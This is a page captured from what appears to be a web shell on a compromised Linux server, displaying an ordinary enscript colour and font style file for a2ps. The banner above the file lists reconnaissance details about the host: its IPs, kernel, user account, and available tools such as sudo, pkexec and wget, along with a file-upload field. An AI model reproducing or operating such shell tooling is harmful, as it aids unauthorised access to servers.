| Server IP : 172.67.134.114 / Your IP : 162.159.115.42 Web Server : Apache/2.4.37 System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64 User : ricodeal ( 1046) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/enscript/hl/ |
Upload File : |
state style_a2ps
{
BEGIN {
call (default_faces);
/* Fonts. */
face_type = make_face (italic_font, 0, 1);
face_string = make_face ("Times-Roman", 0, 0);
if (color)
{
/* Set colors. */
/* These are incomplete. */
face_bold[fg_color] = language_color ("black");
face_italic[fg_color] = language_color ("black");
face_bold_italic[fg_color] = language_color ("black");
face_comment[fg_color] = language_color ("red");
face_function_name[fg_color] = language_color ("blue");
face_variable_name[fg_color] = language_color ("dark goldenrod");
face_keyword[fg_color] = language_color ("purple");
face_reference[fg_color] = language_color ("cadet blue");
face_string[fg_color] = language_color ("forest green");
face_builtin[fg_color] = language_color ("orchid");
}
else
{
/* Highlighting for b&w / grayscale outputs. */
face_comment[bg_color] = language_color ("gray90");
}
return;
}
}
/*
Local variables:
mode: c
End:
*/